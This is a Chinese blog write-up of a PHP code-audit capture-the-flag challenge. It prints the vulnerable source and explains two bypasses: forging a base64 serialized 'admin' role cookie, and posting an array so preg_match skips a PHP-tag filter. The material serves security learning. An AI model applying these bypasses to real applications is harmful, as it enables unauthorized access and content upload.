1. 程式人生 > 實用技巧 >PHP程式碼審計分段講解(14)

PHP程式碼審計分段講解(14)

30題利用提交陣列繞過邏輯

本篇部落格是PHP程式碼審計分段講解系列題解的最後一篇,對於我這個懶癌患者來說,很多事情知易行難,堅持下去,繼續學習和提高自己。

原始碼如下:

<?php 
$role = "guest";
$flag = "flag{test_flag}";
$auth = false;
if(isset($_COOKIE["role"])){
    $role = unserialize(base64_decode($_COOKIE["role"]));
    if($role === "admin"){
        $auth = true;
    }
    else{
        $auth = false;
    }
}
else{
    $role = base64_encode(serialize($role));
    setcookie('role',$role);
}
if($auth){
    if(isset($_POST['filename'])){
        $filename = $_POST['filename'];
        $data = $_POST['data'];
        if(preg_match('[<>?]', $data)) {
            die('No No No!'.$data);
        }
        else {
            $s = implode($data);
            if(!preg_match('[<>?]', $s)){
                $flag='None.';
            }
            $rand = rand(1,10000000);
            $tmp="./uploads/".md5(time() + $rand).$filename;
            file_put_contents($tmp, $flag);
            echo "your file is in " . $tmp;
        }
    }
    else{
        echo "Hello admin, now you can upload something you are easy to forget.";
        echo "<br />there are the source.<br />";
        echo '<textarea rows="10" cols="100">';
        echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
        echo '</textarea>';
    }
}
else{
    echo "Sorry. You have no permissions.";
}
?>

首先給出了$role和$auth的初始值

$role = "guest";
$auth = false;

如果在COOKIE中沒有傳值的話,就會進入else,將初始值設定在COOKIE裡

else{
    $role = base64_encode(serialize($role));
    setcookie('role',$role);
}

從後面的邏輯上看,我們需要令

$auth=true

所以需要手動傳入role值,通過邏輯

if(isset($_COOKIE["role"])){
    $role = unserialize(base64_decode($_COOKIE["role"]));
    if($role === "admin"){
        $auth = true;
    }
    else{
        $auth = false;
    }
}

這裡對傳入的 role 進行base64解密後反序列化,將結果賦值給$role

$role = unserialize(base64_decode($_COOKIE["role"]));

然後想要令

$auth=true

前提條件為:

$role === "admin"

這個是我們可以控制的

編寫程式碼

<?php
    $role='admin';
    $role1=base64_encode(serialize($role));
    echo $role1;
?>

得到

role=czo1OiJhZG1pbiI7

可以看到成功繞過了第一個點

繼續往下看

當 $auth 為 true的時候,進行:

	if(isset($_POST['filename'])){
        $filename = $_POST['filename'];
        $data = $_POST['data'];
        if(preg_match('[<>?]', $data)) {
            die('No No No!'.$data);
        }
        else {
            $s = implode($data);
            if(!preg_match('[<>?]', $s)){
                $flag='None.';
            }
            $rand = rand(1,10000000);
            $tmp="./uploads/".md5(time() + $rand).$filename;
            file_put_contents($tmp, $flag);
            echo "your file is in " . $tmp;
        }
    }

可以看出來是上傳檔案的程式碼,具體為:

傳入檔名和檔案內容:filename 和 data

    if(isset($_POST['filename'])){
        $filename = $_POST['filename'];
        $data = $_POST['data'];

判斷$data中是否有一句話木馬標識,有的話則退出

	if(preg_match('[<>?]', $data)) {
            die('No No No!'.$data);
        }

沒有的話 else 結構,這裡有一句

$s = implode($data);

應該是上傳一句話木馬的突破點。

關於 implode()函式,有:

定義:

implode()函式返回由陣列元素組合成的字串

示例:

<?php
$arr = array('Hello','World!','Beautiful','Day!');
echo implode(" ",$arr);
?>

輸出:

Hello World! Beautiful Day!

而我們在前面的程式碼審計中,知道preg_match()函式只能處理字串,當傳入的變數是陣列是會返回false,這裡正好滿足,可以編寫程式碼測試

<?php
    $data[]='<?php phpinfo();?>';
    if(preg_match('[<>?]', $data)) {
            die('No No No!'.$data);
    }else{
        echo "yes!";
    }
?>

輸出為

yes!

PHP Warning:  preg_match() expects parameter 2 to be string, array given in /usercode/file.php on line 3

雖然有警告,但是還是成功繞過了。

這裡的程式碼

	if(!preg_match('[<>?]', $s)){
                $flag='None.';
            }

表示如果變數$s中沒有匹配到特定字元的話就令$flag為空,這樣在後面的檔案寫入時,也不能獲取到flag了。

$rand = rand(1,10000000);
$tmp="./uploads/".md5(time() + $rand).$filename;
file_put_contents($tmp, $flag);

這裡是生成一個隨機的檔名,並且將 flag 內容寫進去

最後是輸出檔名

echo "your file is in " . $tmp;

我們繞過後 flag 會寫入到 檔名隨機生成的檔案中,該檔名最後是可知的。

按照之前分析的過程,很容易可以構建出payload

訪問獲取flag

結束